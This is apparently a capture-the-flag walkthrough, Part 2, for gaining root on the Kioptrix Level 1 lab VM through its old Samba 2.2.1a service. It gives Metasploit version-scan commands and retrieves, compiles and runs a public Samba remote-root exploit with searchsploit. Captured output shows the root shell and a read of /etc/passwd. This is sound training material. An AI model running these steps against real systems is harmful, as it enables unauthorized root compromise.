It turns out there is another attack vector we can use to compromise the Kioptrix Level 1 machine. In this walkthrough, we will examine how to gain
root access to the Kioptrix machine using an SMB exploit.
For the purposes of brevity, this write-up will skip much of the initial scanning and enumeration of the box, as well as the post-exploitation process. Please refer to Part 1. Instead, we will assume here that you have already run a port scan and are ready to probe for vulnerabilities.
Before We Begin
As discussed in Part 1, Kioptrix Level 1 is an old machine. Due to this, there are a few issues we may run into when attempting to hack this VM in a contemporary setting.
Network Configuration and SSH
The first two problems involve the virtual machine’s network configuration and an SSH compatibility issue. For more information on resolving these issues, refer to Part 1.
Outdated SMB Configuration
The last issue we will face is an outdated SMB configuration on the target machine. A modern system may not be able to communicate with the Kioptrix machine’s SMB service using a default configuration.
The problem stems from the fact that Kioptrix uses a much older and obsolete version of SMB. Kali will not “speak” this version of SMB by default. In order to tell our modern Linux system to communicate with this older protocol, we must edit the SMB configuration.
root privileges, using your favorite text editor, open up the file
/etc/samba/smb.conf and make sure the following two lines are present in the
[global] section of the file (be sure to indent the lines under the
[global] section heading):
client min protocol = CORE client max protocol = SMB3
Now our modern system should be able to speak to the Kioptrix SMB server without issue.
Scanning and Enumeration
See Part 1 for more details on the initial port scan.
With a completed
nmap scan, we can see details about all open ports on the Kioptrix system and the services running on each port. In the first part of this walkthrough, we focused on the web server (specifically,
mod_ssl). In this second part, we will look to attacking the SMB service.
Having a look at the completed
nmap scan, we see the SMB service running on port 139:
139/tcp open netbios-ssn syn-ack Samba smbd (workgroup: MYGROUP)
In order to determine if there are any known vulnerabilities for this service, we need to know what version of Samba is running on the machine. Sometimes,
enum4linux can be useful in determining an SMB server version. While some have successfully used
enum4linux to enumerate the Samba version on this box, I had no success. In this instance, I turned to
msfconsole. We need to search for a module that will enumerate the SMB server version.
msf6 > search smb version type:auxiliary Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ---------- 0 auxiliary/dos/windows/smb/rras_vls_null_deref 2006-06-14 normal No Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference 1 auxiliary/dos/windows/smb/ms11_019_electbowser normal No Microsoft Windows Browser Pool DoS 2 auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow normal No Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS 3 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
smb_version module looks promising. Let’s load it up and check out what options need to be set:
msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > show info Name: SMB Version Detection Module: auxiliary/scanner/smb/smb_version License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <firstname.lastname@example.org> Spencer McIntyre Christophe De La Fuente Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' THREADS 1 yes The number of concurrent threads (max one per host) Description: Fingerprint and display version information about SMB servers. Protocol information and host operating system (if available) will be reported. Host operating system detection requires the remote server to support version 1 of the SMB protocol. Compression and encryption capability negotiation is only present in version 3.1.1.
It looks like all we need to set is the
RHOSTS option. Let’s set it to our target IP and run the module:
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 10.0.10.100 rhosts => 10.0.10.100 msf6 auxiliary(scanner/smb/smb_version) > run [*] 10.0.10.100:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional) [*] 10.0.10.100:139 - Host could not be identified: Unix (Samba 2.2.1a) [*] 10.0.10.100: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
We see the Samba server has been identified as version 2.2.1a. Now let’s look for exploits.
First, we use
searchsploit to search for any relevant exploits:
The RCE looks like a good candidate. We can mirror it and rename it:
┌──(ori0n㉿kali)-[~/kioptrix1/scans] └─$ searchsploit -m multiple/remote/10.c Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution URL: https://www.exploit-db.com/exploits/10 Path: /usr/share/exploitdb/exploits/multiple/remote/10.c File Type: C source, ASCII text, with CRLF line terminators Copied to: /home/ori0n/kioptrix1/scans/10.c ┌──(ori0n㉿kali)-[~/kioptrix1/scans] └─$ mv 10.c smbsploit.c
Now we can compile the exploit and check out what arguments are necessary:
┌──(ori0n㉿kali)-[~/kioptrix1/scans] └─$ gcc -o smbsploit smbsploit.c ┌──(ori0n㉿kali)-[~/kioptrix1/scans] └─$ ./smbsploit samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- Usage: ./smbsploit [-bBcCdfprsStv] [host] -b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2) -B <step> bruteforce steps (default = 300) -c <ip address> connectback ip address -C <max childs> max childs for scan/bruteforce mode (default = 40) -d <delay> bruteforce/scanmode delay in micro seconds (default = 100000) -f force -p <port> port to attack (default = 139) -r <ret> return address -s scan mode (random) -S <network> scan mode -t <type> presets (0 for a list) -v verbose mode
Running while providing only a remote host address fails, but adding the
-b0 option to specify a Linux target seems to do the trick:
┌──(ori0n㉿kali)-[~/kioptrix1/scans] └─$ ./smbsploit -b0 10.0.10.100 1 ⨯ samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- + Bruteforce mode. (Linux) + Host is running samba. + Worked! -------------------------------------------------------------- *** JE MOET JE MUIL HOUWE Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=99(nobody)
It looks like we have a shell! Let’s verify:
whoami root hostname kioptrix.level1 tail /etc/passwd nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/bin/false ident:x:98:98:pident user:/:/sbin/nologin radvd:x:75:75:radvd user:/:/bin/false postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash apache:x:48:48:Apache:/var/www:/bin/false squid:x:23:23::/var/spool/squid:/dev/null pcap:x:77:77::/var/arpwatch:/bin/nologin john:x:500:500::/home/john:/bin/bash harold:x:501:501::/home/harold:/bin/bash
Post-Exploitation and Capturing the Flag
As we’ve already covered post-exploitation and finding the “flag” in Part 1, please refer there for more details on this part of the process.
By now, you have compromised Kioptrix Level 1 using two separate attack vectors. A good next step would be to take on Kioptrix Level 1.1. Alternatively, you can check out the NetSecFocus Trophy Room for new machines to attack.